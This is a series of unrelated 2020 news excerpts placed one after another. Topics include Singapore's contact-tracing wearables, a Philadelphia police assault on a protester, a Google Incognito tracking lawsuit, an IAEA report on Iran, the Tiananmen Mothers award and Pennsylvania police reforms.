Shukla is a native of Manipuri district according to the state basic education department. It has sent a notice to Shukla but so far has not received any response.

The department has said that it the teacher's pending salary has been withheld with immediate effect and it is currently trying to find out if the same bank account was used for all the salary transfers from the 25 different schools over the course of 13 months.

Speaking to India Today TV, UP basic education minister Dr Satish Dwivedi said, "The department has ordered a probe and strict action will be taken against the teacher if the allegations are true. The digital database is being created for transparency since our government has come to power. Action will be taken if there is any involvement of department officials. Hirings are also made in KGBV schools on contractual basis. The department is ascertaining the facts about this teacher."

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Singapore plans to give a wearable coronavirus-tracing devices to all of it's 5.7 million residents.

The devices - which will identify people who have interacted with carriers of coronavirus - could become one of the most comprehensive contact-tracing initiatives in the world.

The small devices can be worn on the end of a lanyard or carried in a handbag.

Testing follows limited take-up of an earlier smartphone-based system and has further fuelled privacy concerns about contact tracing technology.

Singapore plans to give a wearable coronavirus-tracing devices to all of it's 5.7 million residents. Pictured: Men wearing masks in Singapore

The tiny city-state - with one of the highest Covid-19 caseloads in Asia - is one of many countries trying to use technology to allow them to safely reopen their economies.

Singapore will soon roll out the device, which does not depend on a smartphone, and 'may then distribute it to everyone in Singapore,' Vivian Balakrishnan, the minister in charge of the country's smart nation initiative, said on Friday.

The government did not specify whether carrying the device would be mandatory.

The devices - which will identify people who have interacted with carriers of coronavirus - could become one of the most comprehensive contact-tracing initiatives in the world. Pictured: Commuters wear masks on a train in Singapore

The government's earlier TraceTogether app encountered problems, especially on Apple devices where its operating system suspends Bluetooth scanning when the app runs in the background.

Balakrishnan said repeated discussions with Apple failed to resolve the problem.

The pivot to wearables is a signal that Singapore has no immediate plans to adopt contact-tracing technology from Apple and Google rolled out last month, which has several restrictions designed to protect users' privacy.

Michael Veale, a lecturer in the law on digital rights and regulation at University College London who has been involved in developing contact-tracing apps, said Singapore's move into wearables presented 'accountability and privacy concerns.'

'Users will likely find it hard to scrutinise what the device is actually doing, or what information the back-end server uses or links,' Veale said.

Testing of the device follows limited take-up of an earlier smartphone-based system and has further fuelled privacy concerns about contact tracing technology. Pictured: A security officer takes the temperature of a customer outside a mall

The government's earlier TraceTogether app encountered problems, especially on Apple devices where its operating system suspends Bluetooth scanning when the app runs in the background. Pictured: Residents exercising in Singapore

Singapore has said data collected through its earlier app is encrypted and stored locally in the user's phone, and will only be transferred to authorities if the individual is confirmed to be infected with COVID-19.

Some businesses have already adopted wearables for contact tracing in locations where smartphone usage is restricted, while governments like Bahrain and Hong Kong have used them for monitoring people under quarantine.

Vendors pitching wearables include Accent Advanced Systems, Kerlink, Microshare Inc and TRACEsafe Technologies Inc, though the companies have declined to comment on potential customers.

David Su, CEO of wireless chips firm Atmosic, said he expected 'multiple governments, if not all governments in Asia' to adopt wearables because they are an affordable and reliable way to ensure widespread automated contact tracing.

A simple wristband with a Bluetooth chip, battery and some memory could cost about $10, or possibly less, according to vendors.
Screengrab of video footage shows police clashing with protesters early Monday evening near the Benjamin Franklin Parkway. Witnesses said the attack seemed unprovoked. Read more

Updates: In the days since this report was published, Philadelphia Police Inspect Joseph Bologna surrendered to face aggravated assault and other charges; and then was suspended with intent to dismiss after a new accusation of using excessive force.

 READ MORE: Read the criminal complaint charging Philly police inspector Joseph Bologna with assaulting a protester

A Temple University student arrested during protests Monday was released from custody Wednesday after video surfaced of one police officer striking him in the head with a baton and another using his knee to pin the students face to the street.

Prosecutors dismissed the charges against Evan Gorski, 21, an engineering student, after viewing the YouTube and Twitter videos, according to his attorney, R. Emmett Madden.

Madden said Thursday that he had been told by court personnel that Gorski was being held on allegations that he assaulted a police officer by pushing him off a bike, causing him to break a hand.

Eight seconds into the 36-second video, Gorski  with a ponytail and wearing the Eagles jersey  appears to reach in to separate an officer and a protester, and immediately retreats when another officer raises his baton.

That officer then strikes Gorski sharply on or near his head and tackles him, while another officer presses Gorskis face to the pavement by placing his knee on the back of his head and neck. Madden said Gorski required medical treatment.

 READ MORE: In Philadelphia on Thursday, protesters demand police reforms as elected officials say theyre listening

Police sources say that the baton-wielding officer is a high-ranking member of the force, Staff Inspector Joseph Bologna. He earns $126,339 a year, according to city payroll records. The sources said Bologna was taken off street duty Thursday evening after this article was published. He handed in his gun pending an investigation. He has not been charged with a crime or departmental violation.

Bologna could not immediately be reached for comment Friday morning.

 READ MORE: Kenney gave Philly cops raises and shielded them from coronavirus layoffs. Protesters arent happy.

Inspector Sekou Kinebrew, a police spokesperson, declined to comment Thursday on the circumstances of Gorskis arrest, but said the incident is being investigated by the departments Internal Affairs Division. The propriety of the tactics employed will be included in that investigation, Kinebrew said.

The police were lying, Madden said. We had a protest against police brutality, and then police brutalize my client and try to frame him for a crime he didnt commit.

Gorski could not be reached Thursday.

A spokesperson for District Attorney Larry Krasner on Thursday evening said: The video is concerning in more than one way. The District Attorneys Office and District Attorney Krasner himself carefully reviewed the case presented by the police, other evidence, and then declined it.

Matthew VanDyke, a former documentary filmmaker who captured footage of the clash, said protesters on the Benjamin Franklin Parkway had been peaceful, and that police started pushing them onto the Park Towne Place property.

We didnt even know where exactly they wanted us to go, VanDyke said. They just started beating people. It was a bizarre escalation of force that came out of nowhere. The police just went nuts.

Brendan Lowry, founder of the @Peopledelphia Instagram account, also captured video. He said the small group of protesters were peaceful and that the beating and Gorskis arrest felt unprovoked.

Their job is to deescalate violence and protect our right to protest, Lowry said of police. In this case, they did the opposite.

 READ MORE: Outrage over police injustice is older than the nation

Video shows officers striking several people with batons. The incident occurred around 5:30 p.m., shortly after protesters on the Vine Street Expressway had been teargassed.

Ive been in plenty of conflict zones, VanDyke said, but Ive never seen anything like this in America with my own eyes.

City Controller Rebecca Rhynhart announced Thursday that she would hire an expert to review the citys response to the civil unrest. Teargassing our people is not something were used to seeing here in Philadelphia, she said.

Rhynhart, who viewed the video of Gorskis arrest, called it disturbing. She said her report would be made public and would examine the citys operational and resource deployment, as well as police tactics during the protests.

Staff writer Dylan Purcell contributed to this article.
Ukraine and Greece will resume transport services from July 1, subject to a stable epidemiological situation in the two countries.

This issue was discussed during a phone conversation between Ukrainian Foreign Minister Dmytro Kuleba and Foreign Minister of the Hellenic Republic Nikos Dendias, the Foreign Ministrys press service reported.

"Dmytro Kuleba and Nikos Dendias expressed their readiness to resume transportation between Ukraine and Greece from July 1, subject to a stable epidemiological situation in the two countries," the statement reads.

The foreign ministers also exchanged experiences on countering the spread of the coronavirus COVID-19 and overcoming the effects of the pandemic.

Nikos Dendias invited Dmytro Kuleba to pay a working visit to Greece when it becomes possible. The Ukrainian minister accepted the invitation.

The parties noted the importance of comprehensive development of mutually beneficial bilateral relations for the development of trade and investment, as well as cooperation in cultural, humanitarian and educational fields.

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A. WORK

Slack Technologies and Amazon have formed a partnership where the ecommerce giant's employees will use the workplace messaging platform.

Slack will migrate its voice and video calling features to Amazon's Chime platform, deepening its reliance on Amazon's Web Service (AWS).

Slack has offered its service on AWS since 2014, and has used AWS during the COVID-19 pandemic to strengthen its service. Slack is one of the messaging platforms that has risen in popularity amid as more people work from to practice social distancing.

The partnership with Amazon means that Slack is not inclined to use Microsoft's Azure cloud services or Google Cloud to support its platform.

"We have not used Azure, says Brad Armstrong, vice president of business and corporate development at Slack told The Verge.

"The vast majority of our service has always run on AWS," Armstrong added.

Slack's biggest customer so far was IBM, whose 350,000 employees use the workplace messaging service, The Verge reported.

Slack' shares plunged on June 4 after it reported quarterly earnings on June 4. The company slowing quarterly sales growth.

Slack also scrapped its forecast for 2021 billings, citing uncertainty driven by the COVID-19 pandemic.

"There's less visibility into how spending will trend for the remainder of the year, particularly if the economic effects of the COVID-19 pandemic persist or worsen," Slack's Chief Financial Officer Allen Shim said, as quoted by Reuters.
Two more women have been arrested following their alleged involvement in a baby formula theft syndicate.

The pair, aged 28 and 31, were arrested at Bankstown Police Station on Thursday and charged with 15 counts of shoplifting and disposing of property theft.

Police will allege they were involved in coordinating the thefts from different retailers across Sydney.

Police allegedly seized 250 tins of baby formula and $45,000 in cash, as well as health and beauty items

Health and beauty items were also allegedly seized following the police raid on May 26

Their arrest comes after a police raid on May 26 at a Bankstown business and Chester Hill home, where police allegedly seized 250 tins of baby formula and $45,000 in cash, as well as health and beauty items.

A 45-year-old man and a 41-year-old woman are already before the courts over their alleged involvement in the syndicate.

The man is accused of stealing baby formula from shops and on-selling it to the woman, who allegedly sold the formula in her store.

The 28-year-old is due to face Campbelltown Local Court on Friday, while the 31-year-old is expected to appear at Bankstown Local Court on July 29.

Detectives received information from local retailers about a suspected coordinated theft and on-supply of baby formula earlier this year.

The information was referred to Strike Force Polar to investigate the activities of the suspected syndicate.

As part of their inquiries, strike force detectives executed search warrants at a business at Bankstown and a home at Chester Hill.
Stephen Dunnetts lifetime service honored by NAFSA

Dunnett was active in the development of cooperative education training programs between UB and institutions of higher education in China, Cambodia, India, Indonesia, Japan, Latvia, Malaysia, Taiwan and Singapore.

BUFFALO, N.Y.  Stephen C. Dunnett, former UB vice provost for international education, received the life membership award presented by NAFSA: Association of International Educators.

Dunnett, who served as UBs chief university officer responsible for international programs and activities from 1989 until he retired in 2018, was one of five to receive the award honoring achievements in international education and exchange.

NAFSA is the worlds largest nonprofit association dedicated to international education and exchange.

A professor emeritus of foreign language education in the Graduate School of Education, Dunnett was active in the development of cooperative education training programs between UB and institutions of higher education in China, Cambodia, India, Indonesia, Japan, Latvia, Malaysia, Taiwan and Singapore.

He serves as the senior advisor for UB Undergraduate Programs in Singapore. An active member of NAFSA, the Association of International Education Administrators (AIEA), and the European Association for International Education (EAIE), Dunnett served three terms on the NAFSA board, and as president of AIEA.

Dunnett is also a former member and chair of the board of World Education Services (WES), and current chair of the UB Confucius Institute Board of Advisors. He also serves on the board of the Center for Higher Education Internationalization at the Catholic University in Milan, Italy, and is chair of the International Advisory Board of Stenden-NHL University in the Netherlands.

As vice provost for international education, Dunnett led the universitys international programs and services, impacting thousands of international and domestic students, as well as faculty and staff. He was responsible for significantly growing the international student population, building a centralized study abroad program to increase global learning opportunities for students, enhancing international alumni engagement and internationalizing UBs curriculum.

Dunnett received foreign dignitaries and delegations at UB  he was instrumental in securing the visit to UB of the Dalai Lama in 2006  and has served as a trusted adviser to the universitys senior leadership on international protocol and relations. He took a leading role in developing international plans for the State University New York, and has been a nationally sought-after consultant on international education.

In 1980, Dunnett was integral in establishing the first open educational exchanges of any U.S. university with Chinese universities, which opened the door for other universities to launch educational programs with China.

Later, in 1986, he played an important role in creating one of the first 2+2 cooperative education programs in Malaysia, a forerunner of the programs delivered in Singapore 20 years later.

In 2008, Dunnett oversaw work on The Global Imperative: Making UB an International University, UBs comprehensive internationalization strategy and strategic plan that continues to guide the universitys internationalization efforts.

A UB alumnus  he earned a PhD in higher education from the university  Dunnett also is the recipient of the Presidents Medal for outstanding service to the university in 2007.

Also receiving this years NAFSA life membership award was Mariam Assefa of the World Education Services. Assefa is an alumna of UBs Graduate School of Education, former president of NAFSA, and a longtime colleague and friend of Dunnett.
Etihad Airways has operated its first ever flight to Havana, Cuba. The goodwill flight, chartered by the Government of the United Arab Emirates, landed in the capital of the Caribbean island nation, carrying Cuban nationals returning home from the UAE.

Havana is the latest addition to an expanding list of special charter flights to destinations not normally served on the airlines global route network, said the airline.

Following the suspension of all normal passenger flights to and from the UAE on March 24, Etihad has operated special humanitarian services to 32 cities around the world, all of which are not currently served by the airlines passenger or cargo network of flights. These include Bogota, Bucharest, Grozny, Kiev, Larnaca, Podgorica, Tirana, Yerevan, Zagreb, Auckland, Bhubaneswar, Bishkek, Dushanbe, Dhaka, Erbil, Kabul, Lucknow, Makhachkala, Addis Ababa, Antananarivo, Bamako, Banjul, Conakry, Freetown, Harare, Kinshasa, Moroni, NDjamena, Niamey, and Nouakchott. The airline recently operated a special humanitarian flight carrying essential medical and humanitarian cargo bound for the Palestinian Territories.

Additionally, Etihad has operated special passenger and freight flights, including charters, to a further 62 online destinations, and continues to expand this number as it prepares to resume a more normalised network of scheduled flights to, from, and via its Abu Dhabi hub.

Ahmed Al Qubaisi, Etihad Aviation Group Senior Vice President Government, International and Communications, said: All of us at Etihad feel a collective sense of pride, and humility, in the knowledge that we have been able to fully mobilise our resources at a time of great difficulty and suffering, to provide essential aerial lifelines to those in need. We have been able to move with agility and fly to territories never served by us prior to the current global lockdown, so we can aid in the repatriation of people.

Our services are a natural extension of the goodwill initiatives of the Government of the United Arab Emirates, and other governments and NGOs. As an international airline made up of a close family of colleagues from over 150 nations, we are reflective of the wider global community, and do not underestimate the importance of operating such flights in this current situation. We will continue to work with our partners around the world to play our part as things gradually return to normal.  TradeArabia News Service
What weve seen from rioting police, in other words, is an assertion of power and impunity. In the face of mass anger over police brutality, theyve effectively said So what? In the face of demands for change and reform  in short, in the face of accountability to the public theyre supposed to serve  theyve bucked their more conciliatory colleagues with a firm No. In which case, if we want to understand the behavior of the past two weeks, we cant just treat it as an explosion of wanton violence; we have to treat it as an attack on civil society and democratic accountability, one rooted in a dispute over who has the right to hold the police to account.
In this municipality, a landslide has not happened in 50 or 60 years, and there has never been one this size, Mr. Bjordal said on Friday.

Jan Egil Bakkeby, who owned one of the cabins, scrambled out of the building when he heard the landslide begin. I had just made two slices of bread when I heard it crack in the cabin, he told the Norwegian newspaper Altaposten. At first I thought there was someone in the loft, but then I saw out of the window that the power cord was smoking.

As he moved to higher ground, he filmed the scene as a swath of land under his and others properties inched into the water and was soon submerged.

The cause of the slide was not immediately clear, but Mr. Bjordal said it was unlikely to have been caused by human activity.

Rescue operations quickly began, with the local police force, the fire and ambulance services, helicopter rescue, the Red Cross and the Coast Guard all involved.
Google is facing a class-action lawsuit for tracking people who used the Chrome browsers Incognito mode.

Law firm Boies Schiller Flexner earlier this week filed the complaint on behalf of people who used the privacy mode during the past four years.

Google tracks and collects consumers history and other Web activity no matter what safeguards consumers undertake to protect their data privacy, it states. Indeed, even when Google users launch a Web browser with private browsing mode activated (as Google recommends to users wishing to browse the Web privately), Google nevertheless tracks the users browsing data and other identifying information.

Google conducts this surreptitious tracking through Google Analytics, Google Ad Manager, and various application and website plug-ins, such as Google applications on mobile devices and the Google Sign-In button for websites, according to the complaint.

When an Internet user visits a Webpage or opens an app that uses such services (over 70 percent of all online publishers use such a service), Google receives detailed, personal information such as the users IP address (which may provide geographic information), what the user is viewing, what the user last viewed, and details about the users hardware, it states. Google takes the data regardless of whether the user actually clicks on a Google-supported advertisement  or even knows of its existence.

Anticipating that consumers are concerned that its tracking their personal information and browsing history, Google promises consumers that they can browse the Web privately and stay in control of what information [users] share with Google, it continues. Google recommends that its consumers need only launch a browser in private browsing mode to prevent information from being shared with it.

Both statements are untrue, the complaint alleges. When users undertake either  or both  of the aforementioned steps, Google continues to track, collect, and identify their browsing data in real time, in contravention of federal and state laws on wiretapping and in violation of consumers rights to privacy.

Private, Not Private

The complaint seeks at least US$5,000 in damages for each of millions of Google users who have been browsing the Internet in private mode since June 1, 2016.

We have nothing further to add, beyond what is in the complaint, Boies Schiller Flexner spokesperson Edward Evans told the E-Commerce Times.

The lawsuit looks solid, remarked Rob Enderle, principal analyst at the Enderle Group.

Large companies often find creative ways around laws and then convince themselves that theyll get away with questionable practices. That seems to be the case here, he told the E-Commerce Times.

The intent of the Incognito feature, and what Google communicated, was to provide users with privacy, Enderle said, but they then appear to have gone around the function to take the data anyway.

Googles Defense

Google strongly disputes these claims and will defend ourselves vigorously against them, said company spokesperson Jose Castenada.

Incognito mode in Chrome gives you the choice to browse the Internet without your activity being saved to your browser or device, he told the E-Commerce Times.

When consumers open a new Incognito tab, a notice tells them their activity might still be visible to websites they visit, their employer or school, and their ISP.

Googles brand mission statement is to organize the worlds information and make it universally accessible and useful,' noted Liz Miller, principal analyst at Constellation Research.

It never says, Our mission is to deliver the most safe, private and secure experience for any individual no matter where they are to access a democratized, even playing field while staying in control of all their data and privacy,' she told the E-Commerce Times.

On Data Collection

Third-party websites can use Google Analytics to collect and analyze data when visitors are in Incognito mode. However, visitors can use the Google Analytics browser opt-out extension to disable this activity.

Data collected through Google Analytics belongs to the website owner, who then can decide whether to share it with Google. Passing personally identifiable information through Google Analytics is prohibited by Googles terms of service.

An open question is how important the privacy issue privacy is for consumers.

Sharing your information with these services is how they pay the bills, Enderle pointed out. If users dont like that, they should instead buy and use the services from more traditionally funded vendors.

A D V E R T I S E M E N T

The average consumer doesnt want privacy, Miller maintained. They want to be served up a more relevant and personalized engagement, especially when they need it most.

Googles Troubled Data Collection History

Google has been sued, and fined, for tracking consumers in the past. The Federal Trade Commission imposed a $190 million fine for tracking children, and $22.5 million for tracking users of the Safari browser.

Both Google and Amazon are under fire for using smart speakers to monitor what users are saying, an allegation tech investor John Borthwick has leveled.

Google tracks user activity on smart home devices, smart cars, and smartwatches. Tracking may occur through use of Google Voice and Google Fiber. Concerns have been raised over the tracking potential of APIs jointly developed with Apple for COVID-19 tracking.

The systemic problem at Google is that the culture rewards all innovative new methods of collection  including synthesis  of actionable data, observed Steve Wilson, principal analyst at Constellation Research.

Theyre instrumenting the world so as to aggregate as many signals they can to point to peoples buying behaviors, he told the E-Commerce Times.

Google then takes steps to de-identify or obfuscate identities, and to be fair, theyre pretty good at that, Wilson said.

Still, when your core mission is to find out everything you possibly can for commercial advantage about Internet users, he continued, its difficult, I think, to claim credibly that privacy is a top priority. Privacy is inherently a secondary consideration to the business.

Following the filing of the Incognito lawsuit, more enforcement entities could move aggressively against Google, Enderle suggested.

Fifty state attorneys general launched antitrust investigations against Google last year, and the United States government, together with several attorneys general, are expected file suit this summer alleging the company monopolized online ads.
FILE PHOTO: A flag with the logo of the International Atomic Energy Agency flutters in front of their headquarters in Vienna

By Francois Murphy

VIENNA (Reuters) - The U.N. nuclear watchdog expressed serious concern on Friday that Iran has continued for months to deny it access to sites of interest to it, describing previous suspected activities there that could have been part of a nuclear weapons programme.

The International Atomic Energy Agency issued a report in March admonishing Iran for failing to answer questions about past nuclear activities at three sites and for denying it access to two of them.

Diplomats have said the IAEA is looking into activities there long before Iran's 2015 nuclear deal with major powers.

A report to IAEA member states issued on Friday detailed suspected activities and materials including "the possible presence...of natural uranium in the form of a metal disc" at a site that "underwent extensive sanitization and levelling in 2003 and 2004", the report said, describing the third site.

"Sanitization" is a general term used to suggest suspected activity to remove traces of nuclear material.

U.S. intelligence agencies and the IAEA believe Iran had a secret, coordinated nuclear weapons programme that it halted in 2003. Israel's obtaining of what it calls an "archive" of past Iranian nuclear work has, however, given the IAEA extra information on the Islamic Republic's previous activities.

The report also described "the possible use and storage of nuclear material at another location specified by the agency where outdoor, conventional explosive testing may have taken place in 2003, including in relation to testing of shielding in preparation for the use of neutron detectors".

One of the three sites was sanitized, another "underwent significant changes ... including the demolition of most buildings" - both in the early 2000s - and at the other the IAEA observed "activities consistent with efforts to sanitize part of the location" from July 2019 onwards.

Story continues

"The (IAEA) director general calls on Iran immediately to cooperate fully with the agency, including by providing prompt access to the locations specified," the report said.

That report was in addition to a regular quarterly report that showed the Islamic Republic remains in breach of many of the restrictions imposed by its nuclear deal with major powers, and that its stockpile of low-enriched uranium has increased by roughly half to 1,571.6 kg, well above a 202.8 kg limit.

Iran began breaching the accord after the United States withdrew from the deal in May 2018 and reimposed heavy economic sanctions on Tehran.

(Reporting by Francois Murphy; Editing by Mark Heinrich)
Relatives of those who died in the 1989 massacre that ended weeks of mass, student-led protests on Beijing's Tiananmen Square have been awarded a Women of Courage Award by the State Department on the anniversary of the crackdown.



The Tiananmen Mothers, who represent the families of victims, many of whom are the elderly bereaved mothers of young victims, said the award was significant for its honoring of lost lives, and represented a condemnation of atrocities committed by the Chinese Communist Party in 1989.



Founding member Ding Zilin, whose 17-year-old son Jiang Jielian was gunned down by People's Liberation Army (PLA) troops after ruling Chinese Communist Party elder Deng Xiaoping ordered the army into Beijing, has been the target of ongoing harassment and surveillance by the state security police, along with many other group members.



The group still writes to Chinese leaders every year on the anniversary of their loved-ones' deaths, calling on the ruling party to make contemporary public records of the crackdown, to award compensation to those who lost family members, and to hold accountable those responsible for the killings.



"Thirty-one years ago, the Chinese Communist Party massacred hundreds in Tiananmen Square," deputy secretary of state Stephen Biegun told a virtual award ceremony. "Those lost are remembered every year not only by the international community but by their families every day, who keep alive the memory of their loved ones."



"For the families, the fate of their sons, daughters, sisters, brothers, mothers, fathers have never been acknowledged by the Chinese Communist Party and their final resting place remains unknown," he said.



"These families have demonstrated immeasurable courage in the face of tragedy and loss, and have, at great cost to their own lives, continued to advocate for holding those responsible accountable," Biegun added.



Former 1989 student leader Tong Yi, accepting the award, said she had been standing at Fuxingmen, some two miles west of Tiananmen Square, when the first bullets began to be fired in her area.



"In an effort to block the approach, citizens where I was had placed buses across the road and set them ablaze," Tong recalled. "Shortly after midnight, the armys front-line troops arrived and began removing the burning buses."



No response to annual requests to leadership

The tanks arrived and two people fell nearby, Tong said, adding that Jiang Jielian had died around one hour earlier on the same "avenue of death."



"He was the son of Ding Zilin, and the main reason why the good professor, at great risk to herself, began speaking out and organizing others who had lost family members in the massacre," she said. "This was the birth of the Tiananmen Mothers, a group that eventually came to number several hundred."



Tiananmen Mothers spokeswoman You Weijie said the key significance of the award is to show respect for lives lost, and condemn the atrocities perpetrated by the Chinese Communist Party.



"All of our families lost loved ones back then," You said. "We have submitted out three requests year in, year out for the past 31 years, and we have never had any kind of response."



"Instead, we have been targeted for surveillance and harassment by the police," she said.



"The biggest significance of this award is its recognition of our courage; respect for life is the greatest condemnation of the act of killing," You said.



Receiving the award by video link, Tong quoted a 2018 letter from Ding as saying: "My only hope is to live in dignity and to die with dignity,"



Meanwhile, authorities in Macau detained the two daughters of pro-democracy lawmaker Au Kam San after they attended an event commemorating the massacre on night.



They were taken to a nearby police station and held for three hours, before being told they wouldn't be prosecuted, Au said.



"My two daughters brought photos here and they said they were part of a gathering," Au said. "This is completely ridiculous."



The photos included the famous image of the "Tank Man," a solitary, unarmed citizen in shirtsleeves blocking a column of tanks, shopping bags in hand. Au's daughters had also placed electronic candles nearby.



"It's not illegal to display a photo album and light candles in Macau," Au said. "I think this must have touched a raw nerve."



A U.S. writers' group also announced it would award its Freedom to Write award to detained Chinese dissident Xu Zhiyong on the 31st anniversary of .



Xu, who was detained by police in February after penning an article calling on President Xi Jinping to step down, was the winner of the 2020 PEN/Barbey Freedom to Write Award, the group said.



"Xu Zhiyong has guts," PEN America's CEO Suzanne Nossel said. "His essays have served as calls to conscience at pivotal moments in Chinas recent history."



"The one that resulted in his arrest was a detailed, blistering analysis of President Xi Jinpings blind spots and shortcomings as a leader, published while COVID-19 still raged in China," Nossel said.



She said Xu's detention formed part of a Chinese government effort to control the global narrative about the coronavirus pandemic, including by disciplining Chinese doctors and journalists who tried to sound alarm bells and punishing critics of the government response to the pandemic.



"In his writings, Xu has been a persistent voice calling out Beijings intolerance for dissentand campaigning for social equity, rule of law, and a joyful vision for his countrys future," Nossel said.



According to PEN, China held 73 writers and public intellectuals imprisoned or detained for writing at the end of 2019, making it one of the world's biggest jailers of writers.



Sweden-based writer and Independent Chinese PEN member Zhang Yu many regard Xu as the direct successor to late Nobel peace laureate Liu Xiaobo.



"American PEN gave Liu Xiaobo the Freedom to Write Award in 2009, and now Xu Zhiyong is receiving it," Zhang said. "Both awards were well-deserved, and will definitely have a far-reaching impact."



U.S.-based legal scholar Teng Biao said the award would serve as encouragement for all Chinese political prisoners and prisoners of conscience, rights activists and dissidents fighting for freedom.



Reported by Gao Feng for RFA's Mandarin Service, and by Ng Yik-tung and Sing Man for the Cantonese Service. Translated and edited by Luisetta Mudie.
Gov. Tom Wolfs new and lengthy list of reforms for law enforcement in Pennsylvania already has at least one critic: The Pennsylvania State Troopers Association.

Wolf announced Thursday a number of initiatives he would like to see created, implemented, or reviewed in the state in response to the death of George Floyd, an unarmed African-American man from Minnesota who died in police custody last week.

Four officers have been charged in that case, including Derek Chauvin, who is facing counts of second-degree murder and also manslaughter. Three other officers who did not intervene as Chauvin restrained Floyd with his knee despite pleas from the latter that he could not breathe were charged with aiding and abetting second-degree murder.

The list of reforms from Wolf include, per a press release:

Creation of a Deputy Inspector General within the Pennsylvania Office of State Inspector General (OSIG) focused on deterring, detecting, preventing and eradicating fraud, waste, misconduct and abuse amongst law enforcement agencies under the Governors jurisdiction.

Creation of a Pennsylvania State Law Enforcement Advisory Commission that reviews allegations of misconduct by law enforcement personnel under the governors jurisdiction.

Providing technical assistance to municipalities from the Pennsylvania Commission on Crime and Delinquency (PCCD) to encourage the creation of local citizen advisory boards.

Creation of a Racial and Ethnic Disparities Subcommittee under the Criminal Justice Advisory Committee (CJAC) at PCCD.

Reviewing Training and Education of Officers. All training academies for law enforcement must review current use of force training standards for law enforcement and form a workgroup to develop model training standards to ensure that all officers receive the best instruction in their interactions with the public. Departments should be striving to obtain state and or national accreditation. Accreditation is a key component in assisting departments in evaluation and improvement of their standards and practices.

Enhancing Officer Safety and Wellness. Enhancing current mental health initiatives and offering targeted mental health supports for officers to deal with trauma and reduce stigma for getting help.

Supporting Legislative Reforms. The governor will work with the legislature on reforms, including legislation proposed that provides for improved access to police videos, an oversight board for officer training and continuing education, a special prosecutor in deadly force cases, interdepartmental law enforcement hiring reform and PTSD evaluation for police officers.

During a news conference, Wolf signaled that he hoped some of his proposals would be acted on quickly while acknowledging others would take time.

Dont count PSTA President David Kennedy as a fan.

What happened to George Floyd was horrific and wrong," Kennedy said in a statement. There isnt a single state trooper who disagrees. But what Gov. Wolf is saying today is the Pennsylvania State Police, and all law enforcement in our commonwealth, are no better than those charged with Mr. Floyds death. This was clear when he ignored his own order and marched in Harrisburg this week during a pandemic with people holding signs that read, Blue Lives Murder.

Asked to respond to Kennedys words, Wolf, who marched in a rally against injustice and gun violence in downtown Harrisburg Wednesday, said he couldnt control the signs that other protesters had but also said that he does not condone one saying Blue Lives Murder.

This is not an effort to point a finger, its an effort to, as I say, build trust, Wolf said.

Added Kennedy:

So, here is a message to the people of Pennsylvania: Troopers go to work every day knowing they may not return home to our loved ones. This is a sacrifice we accept because we have sworn an oath to uphold the laws of the commonwealth and the United States, without any consideration of class, color, creed or condition. We live by this oath and are dedicated to protecting you, our fellow citizens, and the rule of law. And that will never change."

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SAN FRANCISCO (BCN)

San Francisco law enforcement on Thursday described tense moments during a protest Wednesday involving about 10,000 people in the city's Mission District and responded to a journalist who said he was unlawfully detained.

During a Board of Supervisors meeting Police Chief Bill Scott said while the demonstrations remained mostly peaceful, at times crowds threw bottles and rocks at officers.

"We are still in the grip of a country that is very frustrated and angry and what we have seen since the start of these protests, and with each and every one of them, there is some point where an officer is assaulted by an object being thrown at him or her or any other type of assault. So, we expected that to happen last night and it did," he said.

According to police, officers arrested 23 people at around 10:50 p.m. near 20th and Mission streets in connection with the demonstrations.

In addition, Scott reported the vandalism of a police vehicle near Civic Center and two fires outside of the Hall of Justice.

San Francisco Undersheriff Matthew Freeman said sheriff's deputies, who are tasked with providing security for the city's buildings, were placed at City Hall and the Hall of Justice.

Freeman said in the city, deputies saw minor vandalism as well as two incidents involving sheriff's vehicles, one marked and one unmarked.

In the case involving the unmarked vehicle, a suspect allegedly threw an incendiary device at the vehicle, causing significant fire damage. In the other case, deputies arrested a suspect who allegedly spray painted a marked sheriff's vehicle.

Freeman said, "There were no uses of force last night and although the crowds were very loud and very passionate, by and large it was peaceful."

The supervisors' Thursday meeting was a continuation of their regular meeting earlier this week when supervisors were unable to reach a decision regarding the citywide curfew imposed by Mayor London Breed in response to widespread protests sparked by the death of George Floyd at the hands of Minneapolis police officers last week. However, because Breed lifted the curfew starting Thursday morning at 5 a.m., no action was needed.

Although some supervisors criticized the curfew, Scott defended it, calling it "the right decision" to make in light of vandalism to businesses on Saturday night.

During the public comment portion of the meeting, journalist Julian Mark alleged to Scott that officers violated his rights when they shoved him and detained him for 30 minutes along with 20 other protesters on Mission Street, despite Mark showing an SFPD-issued press pass.

"As I was trying to get out of the way your officers did shove me at least twice into the protest area and it was a bit terrifying," he said, adding that Scott has invited him to review officers' body cam footage from the incident.

In a statement, police said Mark "was detained due to the proximity of his location to the people who were arrested," and that he was released after his press pass was confirmed.

"In the last couple of years, there's been a lot of interest in revamping our procedures around press and how we deal with the press and that is a process that is ongoing," Scott said.

Wednesday's protest was organized by the group Nopeacenojustice San Francisco.

Copyright  2020 by Bay City News, Inc. Republication, Rebroadcast or any other Reuse without the express written consent of Bay City News, Inc. is prohibited.
The shelters acting executive director, Jim Reeder, 72, came aboard only four years ago, after a career in a local manufacturing business. His role was to run a fund-raising campaign for the shelters new building. But when the prior executive director left, Mr. Reeder stepped in. We didnt plan it this way, Mr. Reeder told me. We thought it was going to be kind of a smooth transition and wed get a new E.D. and off wed go. Then Covid happened.

On the day I visited, Arlington Life Shelter housed 50 people, many of them mothers with children. Treasure Jones, 20, lost her job when she couldnt find stable child care for her 11-month-old son, and then coronavirus and its havoc arrived, dooming her search for work. Nevertheless, she objected to the reopening which had, on the day of my visit, already begun. I feel like with all of this going on, they should not open right now because the stakes are really high, Ms. Jones said.

Mr. Reeder acknowledged the critical importance of readily available work. We do understand the need for jobs to function and get people paid, or people end up here, he said. Yet he had serious reservations about the reopening, too. Fully understand the need to get the economy opened, but if a bunch of people die and a lot of people are sick that end up here again, he asked, whats it all about?

But the impossibility of it all had not deterred Mr. Reeder, nor led him to despair. On the contrary, he seemed optimistic, confident. Gods blessed this whole thing, he declared, leading me through the empty, almost-finished facility he was eager to open. There were family bedrooms here, with electronic locks for privacy and space enough for five, and Jack-and-Jill bathrooms. At last, we stood in an unfinished upper room, all bare concrete and drying paint, watching as the sun lowered over the rooftops and parking lots of the city I grew up in.

